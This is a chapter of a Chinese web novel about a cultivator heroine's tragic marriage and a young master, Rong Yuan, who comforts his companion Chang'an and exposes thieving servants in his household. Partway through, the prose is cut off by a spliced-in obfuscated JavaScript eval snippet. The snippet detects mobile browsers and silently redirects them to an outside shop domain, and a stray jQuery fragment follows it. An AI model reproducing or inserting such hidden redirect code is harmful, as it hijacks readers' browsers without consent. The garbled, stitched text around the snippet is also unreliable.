江绾绾被困守深闺之前,也曾是个惊才艳艳的女子。
她是天山宗掌门亲传弟子,也是当年宗门内唯一的女弟子。
江绾绾天赋绝佳,极具慧根,九岁筑基,十六岁结丹,年仅十九岁,便在仙魔大会上大放异彩。
在这个向来以男人为尊的世界里,江绾绾曾震动了整个修真界。
在当年那个女修甚至比如今还要稀少的年代,江绾绾无疑是修真界中最熠熠生辉的一抹存在,对天下女子们来说,江绾绾更是她们心中抹不去的青云之志。
然而就是这样一个前程似锦的女子,却在二十岁那年,为了一个男人,放弃了一切,选择了出师。
修真者的出师不同于凡世,它不仅仅意味着要离开师门,更重要的是,还要将在师门中所学的一切都尽数归还。
江绾绾所拥有的一切都来得太早,她站得太高,拥有得太过容易,以至于她根还本来不及看清,这世间的美好之下,也藏着数不尽的幽暗污秽。
为了这个男人,为了她心中这段比一切都真挚的感情,江绾绾不顾恩师阻拦,毫不犹豫地选择了自废修为,离开了天山宗。
骤失爱徒的老宗主痛心疾首、心灰意冷,丢下了一手建立的天山宗,从此闭关不出,不再问世事,风光一时的新晋宗门遭遇重创,自此沉寂了下去。
而天山宗如何,在当时实则根本无人问津。
因为修仙者地位非凡,而其中女修又更是稀少,百年来也未出过几位。
这位遥遥九天之上的高贵仙子却竟甘愿落入凡尘、嫁作凡人妇,这一段比任何话本里的才子佳人都还要震惊世人的故事,早已盖过了时下所有风头,吸引了全天下人的目光。
就连当朝皇帝陛下也忍不住插了一脚。
为褒奖江绾绾之贤淑忠贞,皇帝亲赐其凤冠霞帔,名为“金玉鸳”,寓意金玉良缘,鸳鸯并蒂。
是祝愿两人夫妻和睦、永结同心。
同时也是告诉天下女子,当以江绾绾为典范,安守深闺,相夫教子,才是一个女子最好的德行。
江绾绾终得偿所愿,嫁给了她心心念念的情郎,以为从今以后都将是幸福美满的日子。
却如何都没能想到,这段令她甘愿放弃一切的良缘,竟才是她此生劫难的开端。
容渊神色浅淡,远眺的视线静静地瞧着不远处,容老爷仍在大发雷霆,方氏依在身侧,小意宽慰,两人携手站在风里,犹如一对不离不弃的患难夫妻。
容渊从嗓子里发出一声轻笑:“你瞧,这便是值得她舍弃一切的此生良人。”
静默片刻,贴在怀里的人忽然很轻微地挪动了一下身子。
容渊察觉到,收回了视线,垂眼要去瞧怀里的长安,却突然感觉胸口撞进来一具暖烘烘的身体,紧接着,腰上也缠上了两只手,将容渊团团抱了起来。
容渊怔住。
他立刻张开手臂,轻轻地将人回抱住,喉咙无意识地滚动一下,眉宇止不住地染上了暖意:“怎么了?”
长安不会安慰人,也知道自己嘴很笨,闷了闷,仍然不知道该说些什么,便努力地把大少爷抱得更紧了些。
“抱一抱……”长安很小声地说:“抱一抱,就不冷了。”
长安心思敏感细腻,大约这个结局不太美好的故事让长安感到不安了,容渊心想。
容渊眉宇低垂,低低地“嗯”了一声。
“不怕。”容渊抬起手,轻抚长安的后背,声音软成一团,像是快要化在呼吸里:“最冷的冬天已经过去了,今后所有冬天都不会再有寒冷了,我保证……”
这边容渊抱着怀里的小暖炉低声哄弄着,既温暖又熨帖。
而在另一边,随着管家从田嬷嬷家里搜完,慌里慌张地跑进听玉苑,刚歇了没多久的院子里又再次热闹了起来。
容渊懒得过去,搂着好不容易才让抱一抱的长安,老神在在地瞧着院里热闹。
等着一场戏快要落幕,容渊终于才不情不愿地放长安从怀里跑走,敛了眼中笑意,朝院中走过去。
“真相如何,报官便知。”容渊轻描淡写地道:“进了县衙,还怕吐不出真话?”
话音落下,院子里再次陷入一片寂静。
脑子嗡嗡作响的容老爷很缓慢地看向容渊,像是愣了一下才反应过来他说了什么,脸色一下变得更黑了:“报官?”
方氏呼吸一窒:“不可!”
方氏被人牵着鼻子走了一晚上了,管家的权柄在手上犹如摆设,面上虽仍表现得端庄得体,心里早已急得如火在烧,手上帕子几乎要被攥破。
本以为事情终究还是有余地,只待时机,却眼见着容渊竟要将田嬷嬷送官府。
方氏心中猛跳,终于再按捺不住,急不可耐地跳了出来,驳容渊的话:“这听玉苑虽是你的院子,可传出去,外人只会道是咱们容府没个规矩,竟遭了内贼,老爷在禹州也是鼎鼎有名的人物,岂不是叫外人看笑话?”
没有了小暖炉在怀,容渊也没了半点瞧热闹的耐心,懒得再兜圈子,面无表情地道:“那就紧掩着吧,掩得越严实越好,等着哪日被人发觉容府当卖御赐之物,阖府抄家灭门,便也用不着再担心有人看笑话了。”
方氏整个人滞住,渐渐白了脸。
“报官!”
容老爷噌地站起身,面色铁青,高声喊叫起来:“来人!快来人!将这些个刁奴捆起来,去衙门击堂鼓,报官!”
满院子的人乌泱泱地来,又匆匆忙忙地涌出去,很快便人去楼空,只剩下了赵婆子和她下午一同带来的那几个小丫头小杂役。
长安表
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949085|142499||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情有点呆:“人全都走了……”
容渊笑了笑,将长安重新裹进大氅里,半揽着往屋里走去,轻声细语地同他说话:“嗯,人全都走了,也到了该用晚膳的点了,今晚厨房有道炙鹿脯,我叫人拿了一碟,你待会儿尝尝,看合不合胃口,若是——”
“大少爷!”赵嬷嬷仍跪在地上,瞥见容渊从面前过去,战战兢兢地冲容渊磕了一个响头。
容渊脚步略微顿了一下,眼皮微抬,居高临下地扫了赵婆子一眼。
“你,去端个炭盆来。”
吩咐完也不待赵婆子反应,便拉着仍一脸茫然的长安回屋里去了。
赵婆子没有听玉苑库房的钥匙,进不去库房,拿不了院里的炭,却根本不敢去问容渊,只得跑到府中库房去领,给库房管事塞了不少银子,才终于领到了一点红萝炭。
炭拿回来,也不敢假手他人,自个儿守着点燃了炭火。
等炭烧起来,赵婆子已经满头大汗,却片刻不敢耽搁,端着滚热的炭盆急急忙忙去了大少爷房里。
大少爷正在用膳。
桌边却还坐了个人,赵婆子没敢细瞧,只进门时不小心瞥见了一下,那人穿着一身灰色的衣裳,看着竟像是府中杂役身上的衣裳。
两人正在低声说着话,很是亲近的模样。
“……今日才吃这么点儿,怎么能吃饱,再多用点儿,至少把这碗燕窝喝了。”这是大少爷的声音。
另一道声音极轻,说话声也是怯怯懦懦的。
“不能吃太撑的……”
“吃得太撑、就会睡得很熟,睡得太熟,夜里就什么动静也听不见了……”
赵嬷嬷莫名地觉得这声音有些耳熟,却又一时记不起究竟是在哪儿听过。
可就是再好奇,却也不敢多瞧,安安分分地垂首跪着。
自管家从听玉苑大丫鬟房里搜出那支金钗起,赵嬷嬷便已然被吓破了胆,因为在她房间的柜子里,此时正摆着一支同那支一模一样的金钗。
方才那大丫鬟一直在不停地哭喊“狡辩”着,虽很快被打得没了声响,但从那破碎的只言片语,赵婆子听懂了她想要说的话。
大丫鬟说,她的金钗是大少爷所赐。
赵嬷嬷当场面色煞白,犹遭雷劈。
……因为她房里那支,同样也是大少爷所赐。
事已至此,赵嬷还有如何不明白的?原来从她贪心收下那支金钗起,自己小命便早已经攥在了大少爷手心里了。
容渊哄着长安喝下了一碗燕窝,才终于有空给了赵嬷嬷一眼视线。
“搁下吧。”容渊道。
赵嬷嬷连声答“是”,膝行向前,将炭盆在大少爷脚边搁下,恭恭敬敬地冲大少爷磕了个头,行了个大礼。
便听大少爷道:“抬起头来。”